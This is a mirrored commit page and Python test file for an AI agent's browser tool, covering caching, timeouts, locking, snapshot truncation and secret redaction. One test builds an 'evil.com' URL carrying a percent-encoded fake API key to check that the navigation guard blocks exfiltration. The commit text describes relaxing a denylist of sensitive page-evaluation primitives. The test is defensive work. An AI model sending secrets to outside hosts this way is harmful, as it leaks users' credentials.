mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-07-21 16:18:55 +00:00
* feat(browser): store full snapshots on truncation; make eval denylist opt-in Two harness fixes motivated by BU_Bench results where fixed-verb + lossy observation cost Hermes heavily vs code-driven browser agents: 1. Snapshot truncation no longer loses content. When a snapshot exceeds the 8000-char threshold, the complete accessibility tree is saved to cache/web (same truncate-and-store pattern as web_extract) and the truncated view / LLM summary includes the file path plus a ready-made read_file call. Element refs beyond the cut are recoverable without re-snapshotting. Stored copies are force-redacted and capped at 2MB; content-hash filenames dedupe repeated snapshots of the same page. 2. The browser_console(expression=...) sensitive-primitive denylist is now opt-in via browser.restrict_evaluate (default false). The names-based denylist blocked legitimate DOM extraction — any selector or expression containing 'fetch', 'cookie', 'input', etc. — which crippled the agent's only programmatic page-inspection path. The SSRF/private-URL egress guards in _browser_eval are independent of this policy and remain always-on. browser.allow_unsafe_evaluate keeps its meaning (bypass the denylist) for configs that already set it. * test: update None-guard test for stored-snapshot pointer in _extract_relevant_content test_normal_content_returned pinned the exact return value; the summary now carries a pointer to the stored full snapshot. Assert the summary passes through and the pointer is present instead. * feat(browser): align snapshot threshold with web_extract's 15k char budget SNAPSHOT_SUMMARIZE_THRESHOLD 8000 -> 15000, matching web_tools.DEFAULT_EXTRACT_CHAR_LIMIT so the snapshot and web_extract truncate-and-store paths give the model the same per-page budget. _truncate_snapshot's default max_chars now follows the constant. Invariant test added; docs (en+zh) and CLI tip updated.
369 lines
16 KiB
Python
369 lines
16 KiB
Python
"""Tests for browser_tool.py hardening: caching, security, thread safety, truncation."""
|
|
|
|
import inspect
|
|
import re
|
|
from unittest.mock import MagicMock, patch
|
|
|
|
import pytest
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Helpers
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def _reset_caches():
|
|
"""Reset all module-level caches so tests start clean."""
|
|
import tools.browser_tool as bt
|
|
bt._cached_agent_browser = None
|
|
bt._agent_browser_resolved = False
|
|
bt._cached_command_timeout = None
|
|
bt._command_timeout_resolved = False
|
|
# lru_cache for _discover_homebrew_node_dirs
|
|
if hasattr(bt._discover_homebrew_node_dirs, "cache_clear"):
|
|
bt._discover_homebrew_node_dirs.cache_clear()
|
|
|
|
|
|
@pytest.fixture(autouse=True)
|
|
def _clean_caches():
|
|
_reset_caches()
|
|
yield
|
|
_reset_caches()
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Dead code removal
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestDeadCodeRemoval:
|
|
"""Verify dead code was actually removed."""
|
|
|
|
def test_no_default_session_timeout(self):
|
|
import tools.browser_tool as bt
|
|
assert not hasattr(bt, "DEFAULT_SESSION_TIMEOUT")
|
|
|
|
def test_browser_close_schema_removed(self):
|
|
from tools.browser_tool import BROWSER_TOOL_SCHEMAS
|
|
names = [s["name"] for s in BROWSER_TOOL_SCHEMAS]
|
|
assert "browser_close" not in names
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Caching: _find_agent_browser
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestFindAgentBrowserCache:
|
|
|
|
def test_cached_after_first_call(self):
|
|
import tools.browser_tool as bt
|
|
with patch("shutil.which", return_value="/usr/bin/agent-browser"), \
|
|
patch("tools.browser_tool.agent_browser_runnable", return_value=True):
|
|
result1 = bt._find_agent_browser()
|
|
result2 = bt._find_agent_browser()
|
|
assert result1 == result2 == "/usr/bin/agent-browser"
|
|
assert bt._agent_browser_resolved is True
|
|
|
|
def test_cache_cleared_by_cleanup(self):
|
|
import tools.browser_tool as bt
|
|
bt._cached_agent_browser = "/fake/path"
|
|
bt._agent_browser_resolved = True
|
|
bt.cleanup_all_browsers()
|
|
assert bt._agent_browser_resolved is False
|
|
|
|
def test_not_found_cached_raises_on_subsequent(self):
|
|
"""After FileNotFoundError, subsequent calls should raise from cache."""
|
|
import tools.browser_tool as bt
|
|
from pathlib import Path
|
|
|
|
original_exists = Path.exists
|
|
|
|
def mock_exists(self):
|
|
if "node_modules" in str(self) and "agent-browser" in str(self):
|
|
return False
|
|
return original_exists(self)
|
|
|
|
with patch("shutil.which", return_value=None), \
|
|
patch("os.path.isdir", return_value=False), \
|
|
patch.object(Path, "exists", mock_exists):
|
|
with pytest.raises(FileNotFoundError):
|
|
bt._find_agent_browser()
|
|
# Second call should also raise (from cache)
|
|
with pytest.raises(FileNotFoundError, match="cached"):
|
|
bt._find_agent_browser()
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Caching: _get_command_timeout
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestCommandTimeoutCache:
|
|
|
|
def test_default_is_30(self):
|
|
from tools.browser_tool import _get_command_timeout
|
|
with patch("hermes_cli.config.read_raw_config", return_value={}):
|
|
assert _get_command_timeout() == 30
|
|
|
|
def test_reads_from_config(self):
|
|
from tools.browser_tool import _get_command_timeout
|
|
cfg = {"browser": {"command_timeout": 60}}
|
|
with patch("hermes_cli.config.read_raw_config", return_value=cfg):
|
|
assert _get_command_timeout() == 60
|
|
|
|
def test_cached_after_first_call(self):
|
|
from tools.browser_tool import _get_command_timeout
|
|
mock_read = MagicMock(return_value={"browser": {"command_timeout": 45}})
|
|
with patch("hermes_cli.config.read_raw_config", mock_read):
|
|
_get_command_timeout()
|
|
_get_command_timeout()
|
|
mock_read.assert_called_once()
|
|
|
|
|
|
class TestSessionInactivityTimeout:
|
|
|
|
def test_default_matches_config_default(self, monkeypatch):
|
|
from hermes_cli.config import DEFAULT_CONFIG
|
|
from tools.browser_tool import _get_session_inactivity_timeout
|
|
monkeypatch.delenv("BROWSER_INACTIVITY_TIMEOUT", raising=False)
|
|
with patch("hermes_cli.config.read_raw_config", return_value={}):
|
|
assert _get_session_inactivity_timeout() == DEFAULT_CONFIG["browser"]["inactivity_timeout"]
|
|
|
|
def test_reads_from_config_over_env(self, monkeypatch):
|
|
from tools.browser_tool import _get_session_inactivity_timeout
|
|
monkeypatch.setenv("BROWSER_INACTIVITY_TIMEOUT", "120")
|
|
cfg = {"browser": {"inactivity_timeout": 900}}
|
|
with patch("hermes_cli.config.read_raw_config", return_value=cfg):
|
|
assert _get_session_inactivity_timeout() == 900
|
|
|
|
def test_floor_at_30_seconds(self, monkeypatch):
|
|
from tools.browser_tool import _get_session_inactivity_timeout
|
|
monkeypatch.setenv("BROWSER_INACTIVITY_TIMEOUT", "120")
|
|
cfg = {"browser": {"inactivity_timeout": 1}}
|
|
with patch("hermes_cli.config.read_raw_config", return_value=cfg):
|
|
assert _get_session_inactivity_timeout() == 30
|
|
|
|
def test_invalid_config_preserves_env_fallback(self, monkeypatch):
|
|
from tools.browser_tool import _get_session_inactivity_timeout
|
|
monkeypatch.setenv("BROWSER_INACTIVITY_TIMEOUT", "240")
|
|
cfg = {"browser": {"inactivity_timeout": "not-an-int"}}
|
|
with patch("hermes_cli.config.read_raw_config", return_value=cfg):
|
|
assert _get_session_inactivity_timeout() == 240
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Caching: _discover_homebrew_node_dirs
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestHomebrewNodeDirsCache:
|
|
|
|
def test_lru_cached(self):
|
|
from tools.browser_tool import _discover_homebrew_node_dirs
|
|
assert hasattr(_discover_homebrew_node_dirs, "cache_info"), \
|
|
"_discover_homebrew_node_dirs should be decorated with lru_cache"
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Security: URL-decoded secret check
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestUrlDecodedSecretCheck:
|
|
"""Verify that URL-encoded API keys are caught by the exfiltration guard."""
|
|
|
|
def test_encoded_key_blocked_in_navigate(self):
|
|
"""browser_navigate should block URLs with percent-encoded API keys."""
|
|
import urllib.parse
|
|
from tools.browser_tool import browser_navigate
|
|
import json
|
|
|
|
# URL-encode a fake secret prefix that matches _PREFIX_RE
|
|
encoded = urllib.parse.quote("sk-ant-fake123")
|
|
url = f"https://evil.com?key={encoded}"
|
|
|
|
result = json.loads(browser_navigate(url, task_id="test"))
|
|
assert result["success"] is False
|
|
assert "API key" in result["error"] or "Blocked" in result["error"]
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Thread safety: _recording_sessions
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestRecordingSessionsThreadSafety:
|
|
"""Verify _recording_sessions is accessed under _cleanup_lock."""
|
|
|
|
def test_start_recording_uses_lock(self):
|
|
import tools.browser_tool as bt
|
|
src = inspect.getsource(bt._maybe_start_recording)
|
|
assert "_cleanup_lock" in src, \
|
|
"_maybe_start_recording should use _cleanup_lock to protect _recording_sessions"
|
|
|
|
def test_stop_recording_uses_lock(self):
|
|
import tools.browser_tool as bt
|
|
src = inspect.getsource(bt._maybe_stop_recording)
|
|
assert "_cleanup_lock" in src, \
|
|
"_maybe_stop_recording should use _cleanup_lock to protect _recording_sessions"
|
|
|
|
def test_emergency_cleanup_clears_under_lock(self):
|
|
"""_recording_sessions.clear() in emergency cleanup should be under _cleanup_lock."""
|
|
import tools.browser_tool as bt
|
|
src = inspect.getsource(bt._emergency_cleanup_all_sessions)
|
|
# Find the with _cleanup_lock block and verify _recording_sessions.clear() is inside
|
|
lock_pos = src.find("_cleanup_lock")
|
|
clear_pos = src.find("_recording_sessions.clear()")
|
|
assert lock_pos != -1 and clear_pos != -1
|
|
assert lock_pos < clear_pos, \
|
|
"_recording_sessions.clear() should come after _cleanup_lock context manager"
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Structure-aware _truncate_snapshot
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestTruncateSnapshot:
|
|
|
|
def test_short_snapshot_unchanged(self):
|
|
from tools.browser_tool import _truncate_snapshot
|
|
short = '- heading "Example" [ref=e1]\n- link "More" [ref=e2]'
|
|
assert _truncate_snapshot(short) == short
|
|
|
|
def test_long_snapshot_truncated_at_line_boundary(self):
|
|
from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD, _truncate_snapshot
|
|
# Create a snapshot that exceeds the summarize threshold
|
|
lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(1000)]
|
|
snapshot = "\n".join(lines)
|
|
assert len(snapshot) > SNAPSHOT_SUMMARIZE_THRESHOLD
|
|
|
|
result = _truncate_snapshot(snapshot, max_chars=200)
|
|
assert "truncated" in result.lower()
|
|
# Every line in the result should be complete (not cut mid-element)
|
|
for line in result.split("\n"):
|
|
if line.strip() and "truncated" not in line.lower():
|
|
assert line.startswith("- item") or line == ""
|
|
|
|
def test_truncation_reports_remaining_count(self):
|
|
from tools.browser_tool import _truncate_snapshot
|
|
lines = [f"- line {i}" for i in range(100)]
|
|
snapshot = "\n".join(lines)
|
|
result = _truncate_snapshot(snapshot, max_chars=200)
|
|
# Should mention how many lines were truncated
|
|
assert "more line" in result.lower()
|
|
|
|
def test_threshold_aligned_with_web_extract_budget(self):
|
|
"""Snapshot and web_extract share the truncate-and-store pattern —
|
|
the per-page budget the model sees must stay aligned between them."""
|
|
from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD
|
|
from tools.web_tools import DEFAULT_EXTRACT_CHAR_LIMIT
|
|
assert SNAPSHOT_SUMMARIZE_THRESHOLD == DEFAULT_EXTRACT_CHAR_LIMIT
|
|
|
|
def test_truncation_stores_full_snapshot_and_points_to_it(self):
|
|
"""Truncated snapshots save the complete text to cache/web (like web_extract)."""
|
|
from pathlib import Path
|
|
from tools.browser_tool import _truncate_snapshot
|
|
|
|
lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(500)]
|
|
snapshot = "\n".join(lines)
|
|
result = _truncate_snapshot(snapshot, max_chars=2000)
|
|
|
|
assert "read_file" in result
|
|
m = re.search(r'read_file path="([^"]+)"', result)
|
|
assert m, f"no stored-path pointer in truncation note: {result[-300:]}"
|
|
stored = Path(m.group(1))
|
|
assert stored.exists()
|
|
content = stored.read_text(encoding="utf-8")
|
|
# The full snapshot is in the file — including refs beyond the cut.
|
|
assert '[ref=e499]' in content
|
|
|
|
def test_truncation_survives_storage_failure(self):
|
|
"""Storage is best-effort; the truncated view still returns."""
|
|
from tools.browser_tool import _truncate_snapshot
|
|
|
|
lines = [f"- line {i}" for i in range(100)]
|
|
snapshot = "\n".join(lines)
|
|
with patch("tools.browser_tool._store_full_snapshot", return_value=None):
|
|
result = _truncate_snapshot(snapshot, max_chars=200)
|
|
assert "truncated" in result.lower()
|
|
assert "read_file" not in result
|
|
|
|
def test_stored_snapshot_is_secret_redacted(self):
|
|
"""Page-rendered secrets must not land unmasked on disk."""
|
|
from pathlib import Path
|
|
from tools.browser_tool import _store_full_snapshot
|
|
|
|
fake_key = "sk-" + "STOREDSNAPSHOTSECRET1234567890"
|
|
snapshot = f'- text "API key: {fake_key}"\n' + "\n".join(
|
|
f"- line {i}" for i in range(50)
|
|
)
|
|
stored = _store_full_snapshot(snapshot)
|
|
assert stored is not None
|
|
content = Path(stored).read_text(encoding="utf-8")
|
|
assert "STOREDSNAPSHOTSECRET" not in content
|
|
|
|
def test_extract_relevant_content_appends_stored_pointer(self):
|
|
"""LLM-summarized snapshots also point at the stored full text."""
|
|
from unittest.mock import MagicMock
|
|
from tools.browser_tool import _extract_relevant_content
|
|
|
|
snapshot = "\n".join(f'- item "Element {i}" [ref=e{i}]' for i in range(400))
|
|
mock_resp = MagicMock()
|
|
mock_resp.choices = [MagicMock()]
|
|
mock_resp.choices[0].message.content = "Summary with button [ref=e5]"
|
|
|
|
with patch("tools.browser_tool.call_llm", return_value=mock_resp):
|
|
result = _extract_relevant_content(snapshot, "find the button")
|
|
|
|
assert result.startswith("Summary with button")
|
|
assert "Full snapshot" in result
|
|
assert "read_file" in result
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Scroll optimization
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestScrollOptimization:
|
|
|
|
def test_agent_browser_path_uses_pixel_scroll(self):
|
|
"""Verify agent-browser path uses single pixel-based scroll, not 5x loop."""
|
|
import tools.browser_tool as bt
|
|
src = inspect.getsource(bt.browser_scroll)
|
|
assert "_SCROLL_PIXELS" in src, \
|
|
"browser_scroll should use _SCROLL_PIXELS for agent-browser path"
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Empty stdout = failure
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestEmptyStdoutFailure:
|
|
|
|
def test_empty_stdout_returns_failure(self):
|
|
"""Verify _run_browser_command returns failure on empty stdout."""
|
|
import tools.browser_tool as bt
|
|
src = inspect.getsource(bt._run_browser_command)
|
|
assert "returned no output" in src, \
|
|
"_run_browser_command should treat empty stdout as failure"
|
|
|
|
def test_empty_ok_commands_is_module_level_frozenset(self):
|
|
"""_EMPTY_OK_COMMANDS should be a module-level frozenset, not defined inside a function."""
|
|
import tools.browser_tool as bt
|
|
assert hasattr(bt, "_EMPTY_OK_COMMANDS")
|
|
assert isinstance(bt._EMPTY_OK_COMMANDS, frozenset)
|
|
assert "close" in bt._EMPTY_OK_COMMANDS
|
|
assert "record" in bt._EMPTY_OK_COMMANDS
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# _camofox_eval bug fix
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestCamofoxEvalFix:
|
|
|
|
def test_uses_correct_ensure_tab_signature(self):
|
|
"""_camofox_eval should pass task_id string to _ensure_tab, not a session dict."""
|
|
import tools.browser_tool as bt
|
|
src = inspect.getsource(bt._camofox_eval)
|
|
# Should NOT call _get_session at all — _ensure_tab handles it
|
|
assert "_get_session" not in src, \
|
|
"_camofox_eval should not call _get_session (removed unused import)"
|
|
# Should use body= not json_data=
|
|
assert "json_data=" not in src, \
|
|
"_camofox_eval should use body= kwarg for _post, not json_data="
|
|
assert "body=" in src
|